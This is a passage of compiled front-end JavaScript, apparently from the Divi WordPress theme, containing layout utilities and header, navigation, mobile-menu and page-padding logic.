value top += preTransformedPosition.top - transformedPosition.top; offsets.top = top; // Update offset's left value left += preTransformedPosition.left - transformedPosition.left; offsets.left = left; } // Manually calculate right & bottom offsets offsets.right = left + width; offsets.bottom = top + height; // Save copy of the offset on element's .data() in case of scenario where retrieving actual // offset value will lead to incorrect offset value (eg. sticky tab active with position offset) $selector.data('et-offsets', offsets); // Add current device to cache if ('' !== currentDevice) { $selector.data('et-offsets-device', offsets); } return offsets; }; /** * Increase EventEmitter's max listeners if lister count is about to surpass the max listeners limit * IMPORTANT: Need to be placed BEFORE `.on()`. * * @since 4.6.0 * @param {EventEmitter} emitter * @param eventName * @param {string} EventName */ var maybeIncreaseEmitterMaxListeners = function maybeIncreaseEmitterMaxListeners(emitter, eventName) { var currentCount = emitter.listenerCount(eventName); var maxListeners = emitter.getMaxListeners(); if (currentCount === maxListeners) { emitter.setMaxListeners(maxListeners + 1); } }; /** * Decrease EventEmitter's max listeners if listener count is less than max listener limit and above * 10 (default max listener limit). If listener count is less than 10, max listener limit will * remain at 10 * IMPORTANT: Need to be placed AFTER `.removeListener()`. * * @since 4.6.0 * * @param {EventEmitter} emitter * @param {string} eventName */ var maybeDecreaseEmitterMaxListeners = function maybeDecreaseEmitterMaxListeners(emitter, eventName) { var currentCount = emitter.listenerCount(eventName); var maxListeners = emitter.getMaxListeners(); if (maxListeners > 10) { emitter.setMaxListeners(currentCount); } }; /** * Expose frontend (FE) component via global object so it can be accessed and reused externally * Note: window.ET_Builder is for builder app's component; window.ET_FE is for frontend component. * * @since 4.6.0 * * @param {string} type * @param {string} name * @param {mixed} component */ var registerFrontendComponent = function registerFrontendComponent(type, name, component) { // Make sure that ET_FE is available if ('undefined' === typeof window.ET_FE) { window.ET_FE = {}; } if ('object' !== _typeof(window.ET_FE[type])) { window.ET_FE[type] = {}; } window.ET_FE[type][name] = component; }; /** * Set inline style with !important tag. JQuery's .css() can't set value with `!important` tag so * here it is. * * @since 4.6.2 * * @param {object} $element * @param {string} cssProp * @param {string} value */ var setImportantInlineValue = function setImportantInlineValue($element, cssProp, value) { // Remove prop from current inline style in case the prop is already exist $element.css(cssProp, ''); // Get current inline style var inlineStyle = $element.attr('style'); // Re-insert inline style + property with important tag $element.attr('style', "".concat(inlineStyle, " ").concat(cssProp, ": ").concat(value, " !important;")); }; /***/ }), /***/ "./js/src/custom.js": /*!**************************!*\ !*** ./js/src/custom.js ***! \**************************/ /*! no exports provided */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony import */ var builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! builder/scripts/utils/utils */ "./includes/builder/scripts/utils/utils.js"); // Internal dependencies /*! ET custom.js */ (function ($) { window.et_calculating_scroll_position = false; window.et_side_nav_links_initialized = false; var top_window = builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] ? ET_Builder.Frames.top : window; function et_get_first_section() { return $('.et-l:not(.et-l--footer) .et_pb_section:visible').first(); } function et_get_first_module() { return $('.et-l .et_pb_module:visible').first(); } var $et_pb_post_fullwidth = $('.single.et_pb_pagebuilder_layout.et_full_width_page'), et_is_mobile_device = navigator.userAgent.match(/Android|webOS|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/), et_is_ipad = navigator.userAgent.match(/iPad/), $et_container = $('.container'), et_container_width = $et_container.width(), et_is_fixed_nav = $('body').hasClass('et_fixed_nav') || $('body').hasClass('et_vertical_fixed'), et_is_vertical_fixed_nav = $('body').hasClass('et_vertical_fixed'), et_is_rtl = $('body').hasClass('rtl'), et_hide_nav = $('body').hasClass('et_hide_nav'), et_header_style_left = $('body').hasClass('et_header_style_left'), $top_header = $('#top-header'), $main_header = $('#main-header'), $main_container_wrapper = $('#page-container'), $et_main_content_first_row = $('#main-content .container:first-child'), $et_main_content_first_row_meta_wrapper = $et_main_content_first_row.find('.et_post_meta_wrapper').first(), $et_main_content_first_row_meta_wrapper_title = $et_main_content_first_row_meta_wrapper.find('h1.entry-title'), $et_main_content_first_row_content = $et_main_content_first_row.find('.entry-content').first(), $et_single_post = $('body.single'), $et_window = $(window), etRecalculateOffset = false, et_header_height = 0, et_header_modifier, et_header_offset, et_primary_header_top, $et_header_style_split = $('.et_header_style_split'), $et_top_navigation = $('#et-top-navigation'), $logo = $('#logo'), $et_pb_first_row = et_get_first_section(), et_is_touch_device = 'ontouchstart' in window || navigator.maxTouchPoints, $et_top_cart = $('#et-secondary-menu a.et-cart-info'); // Modification of underscore's _.debounce() // Underscore.js 1.8.3 // http://underscorejs.org // (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. function et_debounce(func, wait, immediate) { var timeout, args, context, timestamp, result; var now = Date.now || new Date().getTime(); var later = function later() { var last = now - timestamp; if (last < wait && last >= 0) { timeout = setTimeout(later, wait - last); } else { timeout = null; if (!immediate) { result = func.apply(context, args); if (!timeout) context = args = null; } } }; return function () { context = this; args = arguments; timestamp = now; var callNow = immediate && !timeout; if (!timeout) timeout = setTimeout(later, wait); if (callNow) { result = func.apply(context, args); context = args = null; } return result; }; } ; function et_preload_image(src, callback) { var img = new Image(); img.onLoad = callback; img.onload = callback; img.src = src; } // We need to check first to see if we are on a woocommerce single product. if ($(".woocommerce .woocommerce-product-gallery").length > 0) { // get the gallery container. var gal = $(".woocommerce-product-gallery")[0]; // let's replace the data attribute since Salvatorre reconfigures // data-columns on the resize event. var newstr = gal.outerHTML.replace('data-columns', 'data-cols'); // finally we re-insert. gal.outerHTML = newstr; } // update the cart item on the secondary menu. if ($et_top_cart.length > 0 && $('.shop_table.cart').length > 0) { $(document.body).on('updated_wc_div', function () { var new_total = 0; var new_text; $('.shop_table.cart').find('.product-quantity input').each(function () { new_total = new_total + parseInt($(this).val()); }); if (new_total === 1) { new_text = DIVI.item_count; } else { new_text = DIVI.items_count; } new_text = new_text.replace('%d', new_total); $et_top_cart.find('span').text(new_text); }); } document.addEventListener('DOMContentLoaded', function () { var $et_top_menu = $('ul.nav, ul.menu'), $et_search_icon = $('#et_search_icon'), et_parent_menu_longpress_limit = 300, et_parent_menu_longpress_start, et_parent_menu_click = true, is_customize_preview = $('body').hasClass('et_is_customize_preview'); window.et_pb_init_nav_menu($et_top_menu); function et_header_menu_split() { var $logo_container = $('#main-header > .container > .logo_container'), $logo_container_splitted = $('.centered-inline-logo-wrap > .logo_container'), et_top_navigation_li_size = $et_top_navigation.children('nav').children('ul').children('li').length, et_top_navigation_li_break_index = Math.round(et_top_navigation_li_size / 2) - 1, window_width = window.innerWidth || $et_window.width(); if (window_width > 980 && $logo_container.length && $('body').hasClass('et_header_style_split')) { $('<li class="centered-inline-logo-wrap"></li>').insertAfter($et_top_navigation.find('nav > ul >li:nth(' + et_top_navigation_li_break_index + ')')); $logo_container.appendTo($et_top_navigation.find('.centered-inline-logo-wrap')); } if (window_width <= 980 && $logo_container_splitted.length) { $logo_container_splitted.prependTo('#main-header > .container'); $('#main-header .centered-inline-logo-wrap').remove(); } } function et_set_right_vertical_menu() { var $body = $('body'); if ($body.hasClass('et_boxed_layout') && $body.hasClass('et_vertical_fixed') && $body.hasClass('et_vertical_right')) { var header_offset = parseFloat($('#page-container').css('margin-right')); header_offset += parseFloat($('#et-main-area').css('margin-right')) - 225; header_offset = 0 > header_offset ? 0 : header_offset; $('#main-header').addClass('et_vertical_menu_set').css({ 'left': '', 'right': header_offset + 'px' }); } } if ($et_header_style_split.length && !window.et_is_vertical_nav || is_customize_preview) { et_header_menu_split(); $(window).on('resize', function () { et_header_menu_split(); }); } if (window.et_is_vertical_nav) { if ($('#main-header').height() < $('#et-top-navigation').height()) { $('#main-header').height($('#et-top-navigation').height() + $('#logo').height() + 100); } et_set_right_vertical_menu(); } window.et_calculate_header_values = function () { var $top_header = $('#top-header'), secondary_nav_height = $top_header.length && $top_header.is(':visible') ? parseInt($top_header.innerHeight()) : 0, admin_bar_height = $('#wpadminbar').length ? parseInt($('#wpadminbar').innerHeight()) : 0, $slide_menu_container = $('.et_header_style_slide .et_slide_in_menu_container'), is_rtl = $('body').hasClass('rtl'); et_header_height = parseInt($('#main-header').length ? $('#main-header').innerHeight() : 0) + secondary_nav_height; et_header_modifier = et_header_height <= 90 ? et_header_height - 29 : et_header_height - 56; et_header_offset = et_header_modifier + admin_bar_height; et_primary_header_top = secondary_nav_height + admin_bar_height; if ($slide_menu_container.length && !$('body').hasClass('et_pb_slide_menu_active')) { if (is_rtl) { $slide_menu_container.css({ left: '-' + parseInt($slide_menu_container.innerWidth()) + 'px', 'display': 'none' }); } else { $slide_menu_container.css({ right: '-' + parseInt($slide_menu_container.innerWidth()) + 'px', 'display': 'none' }); } if ($('body').hasClass('et_boxed_layout')) { if (is_rtl) { var page_container_margin = $main_container_wrapper.css('margin-right'); $main_header.css({ right: page_container_margin }); } else { var page_container_margin = $main_container_wrapper.css('margin-left'); $main_header.css({ left: page_container_margin }); } } } }; var $comment_form = $('#commentform'); et_pb_form_placeholders_init($comment_form); $comment_form.on('submit', function () { et_pb_remove_placeholder_text($comment_form); }); et_duplicate_menu($('#et-top-navigation ul.nav'), $('#et-top-navigation .mobile_nav'), 'mobile_menu', 'et_mobile_menu'); et_duplicate_menu('', $('.et_pb_fullscreen_nav_container'), 'mobile_menu_slide', 'et_mobile_menu', 'no_click_event'); // Handle `Disable top tier dropdown menu links` Theme Option. if ($('ul.et_disable_top_tier').length) { var $disbaled_top_tier_links = $("ul.et_disable_top_tier > li > ul").prev('a'); $disbaled_top_tier_links.attr('href', '#'); $disbaled_top_tier_links.on('click', function (e) { e.preventDefault(); }); // Handle top tier links in cloned mobile menu var $disbaled_top_tier_links_mobile = $("ul#mobile_menu > li > ul").prev('a'); $disbaled_top_tier_links_mobile.attr('href', '#'); $disbaled_top_tier_links_mobile.on('click', function (e) { e.preventDefault(); }); } if ($('#et-secondary-nav').length) { $('#et-top-navigation #mobile_menu').append($('#et-secondary-nav').clone().html()); } // adding arrows for the slide/fullscreen menus if ($('.et_slide_in_menu_container').length) { var $item_with_sub = $('.et_slide_in_menu_container').find('.menu-item-has-children > a'); // add arrows for each menu item which has submenu if ($item_with_sub.length) { $item_with_sub.append('<span class="et_mobile_menu_arrow"></span>'); } } function et_change_primary_nav_position(delay) { setTimeout(function () { var etPrimaryHeaderTop = 0; var $body = $('body'); var $wpadminbar = builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] ? top_window.jQuery('#wpadminbar') : $('#wpadminbar'); var $topHTML = top_window.jQuery('html'); var $topHeader = $('#top-header'); var isPreviewMode = $topHTML.is('.et-fb-preview--zoom:not(.et-fb-preview--desktop)'); isPreviewMode = isPreviewMode || $topHTML.is('.et-fb-preview--tablet'); isPreviewMode = isPreviewMode || $topHTML.is('.et-fb-preview--phone'); if ($wpadminbar.length && !Number.isNaN($wpadminbar.innerHeight())) { var adminbarHeight = parseFloat($wpadminbar.innerHeight()); // Adjust admin bar height for builder's preview mode // since admin bar is rendered on top window in these modes. etPrimaryHeaderTop += builder_scripts_utils_utils__WEBPACK_IMPORTED_MODULE_0__["isBuilder"] && isPreviewMode ? 0 : adminbarHeight; } if ($topHeader.length && $topHeader.is(':visible')) { etPrimaryHeaderTop += $topHeader.innerHeight(); } var isFixedNav = $body.hasClass('et_fixed_nav'); var isAbsolutePrimaryNav = !isFixedNav && $body.hasClass('et_transparent_nav') && $body.hasClass('et_secondary_nav_enabled'); if (!window.et_is_vertical_nav && (isFixedNav || isAbsolutePrimaryNav)) { $('#main-header').css('top', etPrimaryHeaderTop + 'px'); } }, delay); } window.et_change_primary_nav_position = et_change_primary_nav_position; function et_hide_nav_transform() { var $body = $('body'), $body_height = $(document).height(), $viewport_height = $(window).height() + et_header_height + 200; // Do nothing when Vertical Navigation is Enabled if ($body.hasClass('et_vertical_nav')) { return; } if ($body.hasClass('et_hide_nav') || $body.hasClass('et_hide_nav_disabled') && $body.hasClass('et_fixed_nav')) { if ($body_height > $viewport_height) { if ($body.hasClass('et_hide_nav_disabled')) { $body.addClass('et_hide_nav'); $body.removeClass('et_hide_nav_disabled'); } $('#main-header').css('transform', 'translateY(-' + et_header_height + 'px)'); $('#top-header').css('transform', 'translateY(-' + et_header_height + 'px)'); } else { $('#main-header').css({ 'transform': 'translateY(0)', 'opacity': '1' }); $('#top-header').css({ 'transform': 'translateY(0)', 'opacity': '1' }); $body.removeClass('et_hide_nav'); $body.addClass('et_hide_nav_disabled'); } // Run fix page container again, needed when body height is not tall enough and // adjustment has been aded et_fix_page_container_position(); } } // Saving current styling for the next resize cycle function et_save_initial_page_container_style($selector, property) { var styling = {}; styling[property] = $selector.css(property); $selector.attr({ 'data-fix-page-container': 'on' }).data({ 'fix_page_container_style': styling }); } function et_page_load_scroll_to_anchor() { var location_hash = window.et_location_hash.replace(/(\|)/g, "\\$1"); if ($(location_hash).length === 0) { return; } var $map_container = $(location_hash + ' .et_pb_map_container'); var $map = $map_container.children('.et_pb_map'); var $target = $(location_hash); // Make the target element visible again if ('undefined' !== typeof window.et_location_hash_style) { $target.css('display', window.et_location_hash_style); } var distance = 'undefined' !== typeof $target.offset().top ? $target.offset().top : 0; var speed = distance > 4000 ? 1600 : 800; if ($map_container.length) { google.maps.event.trigger($map[0], 'resize'); } // Workaround for reviews tab in woo tabs. if ($target.parents().hasClass('commentlist')) { $('.reviews_tab').trigger('click').animate({ scrollTop: $target.offset().top }, 700); } // Allow the header sizing functions enough time to finish before scrolling the page setTimeout(function () { et_pb_smooth_scroll($target, false, speed, 'swing'); // During the page scroll animation, the header's height might change. // Do the scroll animation again to ensure its accuracy. setTimeout(function () { et_pb_smooth_scroll($target, false, 150, 'linear'); }, speed + 25); }, 700); } // Retrieving padding/margin value based on formatted saved padding/margin strings function et_get_saved_padding_margin_value(saved_value, order) { if (typeof saved_value === 'undefined') { return false; } var values = saved_value.split('|'); return typeof values[order] !== 'undefined' ? values[order] : false; } function et_fix_page_container_position() { var et_window_width = parseInt($et_window.width()), $top_header = $('#top-header'), $et_pb_first_row = et_get_first_section(), secondary_nav_height = $top_header.length && $top_header.is(':visible') ? parseInt($top_header.innerHeight()) : 0, main_header_fixed_height = 0, header_height, et_pb_first_row_padding_top; var $mainHeaderClone = $main_header.clone().addClass('et-disabled-animations main-header-clone').css({ opacity: '0px', position: 'fixed', top: 'auto', right: '0px', bottom: '0px', left: '0px' }).appendTo($('body')); // Replace previous resize cycle's adjustment if (!$('body').hasClass('et-bfb')) { $('*[data-fix-page-container="on"]').each(function () { var $adjusted_element = $(this), styling = $adjusted_element.data(); if (styling && styling.fix_page_container_style) { // Reapply previous styling $adjusted_element.css(styling.fix_page_container_style); } }); } // Set data-height-onload for header if the page is loaded on large screen // If the page is loaded from small screen, rely on data-height-onload printed on the markup, // prevent window resizing issue from small to large // ignore data-height-loaded in VB to make sure it calculated correctly. if (et_window_width > 980 && (!$main_header.attr('data-height-loaded') || $('body').is('.et-fb'))) { var mainHeaderHeight = 0; if ($main_header.hasClass('et-fixed-header')) { $mainHeaderClone.removeClass('et-fixed-header'); mainHeaderHeight = $mainHeaderClone.height(); $mainHeaderClone.addClass('et-fixed-header'); } else { mainHeaderHeight = $main_header.height(); } $main_header.attr({ 'data-height-onload': parseInt(mainHeaderHeight), 'data-height-loaded': true }); } // Use on page load calculation for large screen. Use on the fly calculation for small screen (980px below) if (et_window_width <= 980) { header_height = parseInt($main_header.length ? $main_header.innerHeight() : 0) + secondary_nav_height - ($('body').hasClass('et-fb') ? 0 : 1); // If transparent is detected, #main-content .container's padding-top needs to be added to header_height // And NOT a pagebuilder page if (window.et_is_transparent_nav && !$et_pb_first_row.length) { header_height += 58; } } else { // Get header height from header attribute header_height = parseInt($main_header.attr('data-height-onload')) + secondary_nav_height; // Non page builder page needs to be added by #main-content .container's fixed height if (window.et_is_transparent_nav && !window.et_is_vertical_nav && $et_main_content_first_row.length) { header_height += 58; } // Calculate fixed header height by cloning, emulating, and calculating its height main_header_fixed_height = $mainHeaderClone.height(); } if (et_hide_nav) { var topNavHeightDiff = parseInt($et_top_navigation.data('height')) - parseInt($et_top_navigation.data('fixed-height')); main_header_fixed_height = parseInt($main_header.data('height-onload')) - topNavHeightDiff; } // Saved fixed main header height calculation $main_header.attr({ 'data-fixed-height-onload': main_header_fixed_height }); var $wooCommerceNotice = $('.et_fixed_nav.et_transparent_nav.et-db.et_full_width_page #left-area > .woocommerce-notices-wrapper'); if ($wooCommerceNotice.length > 0 && 'yes' !== $wooCommerceNotice.attr('data-position-set')) { var wooNoticeMargin = main_header_fixed_height; if (0 === wooNoticeMargin && $main_header.attr('data-height-onload')) { wooNoticeMargin = $main_header.attr('data-height-onload'); } $wooCommerceNotice.css('marginTop', parseFloat(wooNoticeMargin) + 'px'); $wooCommerceNotice.animate({ 'opacity': '1' }); $wooCommerceNotice.attr('data-position-set', 'yes'); } // Specific adjustment required for transparent nav + not vertical nav + (not hidden nav // OR hidden nav but document height is shorter than "viewport" height) // NOTES: // 1. hidden nav: nav is initially hidden then appears as the window is scrolled) // 2. in hidden nav, nav is displayed as window is scrolled. If document height is // shorter than viewport, vertical scroll doesn't exist and nav is directly rendered. // Thus, transparent nav adjustment need to be applied if body is shorter than window // 3. Hidden nav only works on desktop breakpoint. Nav is always displayed on tablet // and smaller breakpoints // 4. "viewport" height calculation needs to be identical with viewport calculation used // at `et_hide_nav_transform()` to make sure that when nav is displayed due to short // document height, the padding gets added var bodyHeight = $(document).height(); var viewportHeight = $(window).height() + et_header_height + 200; var isBodyShorterThanViewport = viewportHeight > bodyHeight; var isDesktop = parseInt($(window).width()) > 980; var isHideNavDesktop = isDesktop && et_hide_nav; if (window.et_is_transparent_nav && !window.et_is_vertical_nav && (!isHideNavDesktop || isBodyShorterThanViewport)) { if (!$('body').hasClass('et-bfb')) { // Add class for first row for custom section padding purpose $et_pb_first_row.addClass('et_pb_section_first'); } // List of conditionals var is_pb = $et_pb_first_row.length, is_post_pb = is_pb && $et_single_post.length, is_post_pb_full_layout_has_title = $et_pb_post_fullwidth.length && $et_main_content_first_row_meta_wrapper_title.length, is_post_pb_full_layout_no_title = $et_pb_post_fullwidth.length && 0 === $et_main_content_first_row_meta_wrapper_title.length, is_post_with_tb_body = is_post_pb && $('.et-l--body').length, is_pb_fullwidth_section_first = $et_pb_first_row.is('.et_pb_fullwidth_section'), is_no_pb_mobile = et_window_width <= 980 && $et_main_content_first_row.length, isProject = $('body').hasClass('single-project'); if (!is_post_with_tb_body && is_post_pb && !(is_post_pb_full_layout_no_title && is_pb_fullwidth_section_first) && !isProject) { /* Desktop / Mobile + Single Post */ /* * EXCEPT for fullwidth layout + fullwidth section ( at the first row ). * It is basically the same as page + fullwidth section with few quirk. * Instead of duplicating the conditional for each module, it'll be simpler to negate * fullwidth layout + fullwidth section in is_post_pb and rely it to is_pb_fullwidth_section_first */ // Remove main content's inline padding to styling to prevent looping padding-top calculation $et_main_content_first_row.css({ 'paddingTop': '' }); if (et_window_width < 980) { header_height += 40; } if (is_pb_fullwidth_section_first) { // If the first section is fullwidth, restore the padding-top modified area at first section $et_pb_first_row.css({ 'paddingTop': '0px' }); } if (is_post_pb_full_layout_has_title) { // Add header height to post meta wrapper as padding top $et_main_content_first_row_meta_wrapper.css({ 'paddingTop': header_height + 'px' }); } else if (is_post_pb_full_layout_no_title) { // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row, 'paddingTop'); // Reset any inline padding-top. $et_pb_first_row.css({ paddingTop: '' }); $et_pb_first_row.css({ // Ignore the extra 58px added to header height previously. 'paddingTop': 'calc(' + (header_height - 58) + 'px + ' + $et_pb_first_row.css('paddingTop') + ')' }); } else { // Save current styling for the next resize cycle et_save_initial_page_container_style($et_main_content_first_row, 'paddingTop'); // Add header height to first row content as padding top $et_main_content_first_row.css({ 'paddingTop': header_height + 'px' }); } } else if (is_pb_fullwidth_section_first) { /* Desktop / Mobile + Pagebuilder + Fullwidth Section */ var $et_pb_first_row_first_module = $et_pb_first_row.children('.et_pb_module:visible').first(); // Quirks: If this is post with fullwidth layout + no title + fullwidth section at first row, // Remove the added height at line 2656 if (is_post_pb_full_layout_no_title && is_pb_fullwidth_section_first && et_window_width > 980) { header_height = header_height - 58; } if ($et_pb_first_row_first_module.is('.et_pb_slider')) { /* Desktop / Mobile + Pagebuilder + Fullwidth slider */ var $et_pb_first_row_first_module_slide_image = $et_pb_first_row_first_module.find('.et_pb_slide_image'), $et_pb_first_row_first_module_slide = $et_pb_first_row_first_module.find('.et_pb_slide'), $et_pb_first_row_first_module_slide_container = $et_pb_first_row_first_module.find('.et_pb_slide .et_pb_container'), et_pb_slide_image_margin_top = 0 - parseInt($et_pb_first_row_first_module_slide_image.height()) / 2, et_pb_slide_container_height = 0, $et_pb_first_row_first_module_slider_arrow = $et_pb_first_row_first_module.find('.et-pb-slider-arrows a'), et_pb_first_row_slider_arrow_height = $et_pb_first_row_first_module_slider_arrow.height(); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slide, 'paddingTop'); // Adding padding top to each slide so the transparency become useful $et_pb_first_row_first_module_slide.css({ 'paddingTop': header_height + 'px' }); // delete container's min-height $et_pb_first_row_first_module_slide_container.css({ 'min-height': '' }); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slide_image, 'marginTop'); // Adjusting slider's image, considering additional top padding of slideshow $et_pb_first_row_first_module_slide_image.css({ 'marginTop': et_pb_slide_image_margin_top + 'px' }); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slider_arrow, 'marginTop'); // Adjusting slider's arrow, considering additional top padding of slideshow $et_pb_first_row_first_module_slider_arrow.css({ 'marginTop': header_height / 2 - et_pb_first_row_slider_arrow_height / 2 + 'px' }); // Looping the slide and get the highest height of slide var et_pb_first_row_slide_container_height_new = 0; $et_pb_first_row_first_module.find('.et_pb_slide').each(function () { var $et_pb_first_row_first_module_slide_item = $(this), $et_pb_first_row_first_module_slide_container = $et_pb_first_row_first_module_slide_item.find('.et_pb_container'); // Make sure that the slide is visible to calculate correct height $et_pb_first_row_first_module_slide_item.show(); // Remove existing inline css to make sure that it calculates the height $et_pb_first_row_first_module_slide_container.css({ 'min-height': '' }); var et_pb_first_row_slide_container_height = $et_pb_first_row_first_module_slide_container.innerHeight(); if (et_pb_first_row_slide_container_height_new < et_pb_first_row_slide_container_height) { et_pb_first_row_slide_container_height_new = et_pb_first_row_slide_container_height; } // Hide the slide back if it isn't active slide if ($et_pb_first_row_first_module_slide_item.is(':not(".et-pb-active-slide")')) { $et_pb_first_row_first_module_slide_item.hide(); } }); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_slide_container, 'min-height'); // Setting appropriate min-height, considering additional top padding of slideshow $et_pb_first_row_first_module_slide_container.css({ 'min-height': et_pb_first_row_slide_container_height_new + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_fullwidth_header')) { /* Desktop / Mobile + Pagebuilder + Fullwidth header */ // Remove existing inline stylesheet to prevent looping padding $et_pb_first_row_first_module.removeAttr('style'); // Get paddingTop from stylesheet var et_pb_first_row_first_module_fullwidth_header_padding_top = parseInt($et_pb_first_row_first_module.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module, 'paddingTop'); // Implement stylesheet's padding-top + header_height $et_pb_first_row_first_module.css({ 'paddingTop': header_height + et_pb_first_row_first_module_fullwidth_header_padding_top + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_fullwidth_portfolio')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Portfolio */ // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module, 'paddingTop'); $et_pb_first_row_first_module.css({ 'paddingTop': header_height + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_map_container')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Map */ var $et_pb_first_row_map = $et_pb_first_row_first_module.find('.et_pb_map'); // Remove existing inline height to prevent looping height calculation $et_pb_first_row_map.css({ 'height': '' }); // Implement map height + header height $et_pb_first_row_first_module.find('.et_pb_map').css({ 'height': header_height + parseInt($et_pb_first_row_map.css('height')) + 'px' }); // Adding specific class to mark the map as first row section element $et_pb_first_row_first_module.addClass('et_beneath_transparent_nav'); } else if ($et_pb_first_row_first_module.is('.et_pb_menu') || $et_pb_first_row_first_module.is('.et_pb_fullwidth_menu')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Menu */ // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module, 'marginTop'); $et_pb_first_row_first_module.css({ 'marginTop': header_height + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_fullwidth_code')) { /* Desktop / Mobile + Pagebuilder + Fullwidth code */ var $et_pb_first_row_first_module_code = $et_pb_first_row_first_module; $et_pb_first_row_first_module_code.css({ 'paddingTop': '' }); var et_pb_first_row_first_module_code_padding_top = parseInt($et_pb_first_row_first_module_code.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_code, 'paddingTop'); $et_pb_first_row_first_module_code.css({ 'paddingTop': header_height + et_pb_first_row_first_module_code_padding_top + 'px' }); } else if ($et_pb_first_row_first_module.is('.et_pb_post_title')) { /* Desktop / Mobile + Pagebuilder + Fullwidth Post Title */ var $et_pb_first_row_first_module_title = $et_pb_first_row_first_module; // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row_first_module_title, 'paddingTop'); $et_pb_first_row_first_module.css({ 'paddingTop': header_height + 50 + 'px' }); } else if (!$et_pb_first_row_first_module.length) { // Get current padding top et_pb_first_row_padding_top = parseFloat($et_pb_first_row.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row, 'paddingTop'); // Keep the state of previous cycle. The padding top is reset to the first // cycle by default (padding-top: 0px) so if previous cycle didn't hide the // nav, automatically add the additional padding top if (!$et_pb_first_row.data('is_hide_nav')) { $et_pb_first_row.css({ 'paddingTop': et_pb_first_row_padding_top + header_height + 'px' }); } // Use timeout to avoid flickering padding top when window is resized vertically // and hidden nav is transitioned to visible nav, vice versa. clearTimeout(window.et_fallback_transparent_adjustment_timeout); window.et_fallback_transparent_adjustment_timeout = setTimeout(function () { // Hidden nav can be decided by the existance of et_hide_nav class AND // the css transform attribute value because the visibility of nav is // modified by CSS transition var is_hide_nav = $('body').hasClass('et_hide_nav') && $('#main-header').css('transform') !== 'matrix(1, 0, 0, 1, 0, 0)'; // Add / remove additional top padding accordingly if (is_hide_nav) { $et_pb_first_row.css({ 'paddingTop': '' }); } else { $et_pb_first_row.css({ 'paddingTop': et_pb_first_row_padding_top + header_height + 'px' }); } // Save current nav state for next cycle assessment $et_pb_first_row.data('is_hide_nav', is_hide_nav); }, 300); } } else if (is_pb) { /* Desktop / Mobile + Pagebuilder + Regular section */ // Remove first row's inline padding top styling to prevent looping padding-top calculation $et_pb_first_row.css({ 'paddingTop': '' }); // Get saved custom padding from data-* attributes. Builder automatically adds // saved custom paddings to data-* attributes on first section var saved_custom_padding = $et_pb_first_row.attr('data-padding'), saved_custom_padding_top = et_get_saved_padding_margin_value(saved_custom_padding, 0), saved_custom_padding_tablet = $et_pb_first_row.attr('data-padding-tablet'), saved_custom_padding_tablet_top = et_get_saved_padding_margin_value(saved_custom_padding_tablet, 0), saved_custom_padding_phone = $et_pb_first_row.attr('data-padding-phone'), saved_custom_padding_phone_top = et_get_saved_padding_margin_value(saved_custom_padding_phone, 0), applied_saved_custom_padding; if (saved_custom_padding_top || saved_custom_padding_tablet_top || saved_custom_padding_phone_top) { // Applies padding top to first section to automatically convert saved unit into px if (et_window_width > 980 && saved_custom_padding_top) { $et_pb_first_row.css({ paddingTop: 'number' === typeof saved_custom_padding_top ? saved_custom_padding_top + 'px' : saved_custom_padding_top }); } else if (et_window_width > 767 && saved_custom_padding_tablet_top) { $et_pb_first_row.css({ paddingTop: 'number' === typeof saved_custom_padding_tablet_top ? saved_custom_padding_tablet_top + 'px' : saved_custom_padding_tablet_top }); } else if (saved_custom_padding_phone_top) { $et_pb_first_row.css({ paddingTop: 'number' === typeof saved_custom_padding_phone_top ? saved_custom_padding_phone_top + 'px' : saved_custom_padding_phone_top }); } // Get converted custom padding top value applied_saved_custom_padding = parseInt($et_pb_first_row.css('paddingTop')); // Implemented saved & converted padding top + header height $et_pb_first_row.css({ paddingTop: header_height + applied_saved_custom_padding + 'px' }); } else { // Pagebuilder ignores #main-content .container's fixed height and uses its row's padding // Anticipate the use of custom section padding. et_pb_first_row_padding_top = header_height + parseInt($et_pb_first_row.css('paddingTop')); // Save current styling for the next resize cycle et_save_initial_page_container_style($et_pb_first_row, 'paddingTop'); // Implementing padding-top + header_height $et_pb_first_row.css({ 'paddingTop': et_pb_first_row_padding_top + 'px' }); } } else if (is_no_pb_mobile) { // Mobile + not pagebuilder $et_main_content_first_row.css({ 'paddingTop': header_height + 'px' }); } else { $('#main-content .container:first-child').css({ 'paddingTop': header_height + 'px' }); } // Set #page-container's padding-top to zero after inline styling first row's content has been added if (!$('#et_fix_page_container_position').length) { $('<style />', { 'id': 'et_fix_page_container_position', 'text': '#page-container{ padding-top: 0 !important;}' }).appendTo('head'); } // If the first visible (visibility is significant for for cached split test) section/row/module has // parallax background, trigger parallax height resize so the parallax location is correctly rendered // due to addition of first section/row/module margin-top/padding-top which is needed for transparent // primary nav var $firstSection = $('.et_pb_section:visible').first(); var $firstRow = $firstSection.find('.et_pb_row:visible').first(); var $firstModule = $firstSection.find('.et_pb_module:visible').first(); var 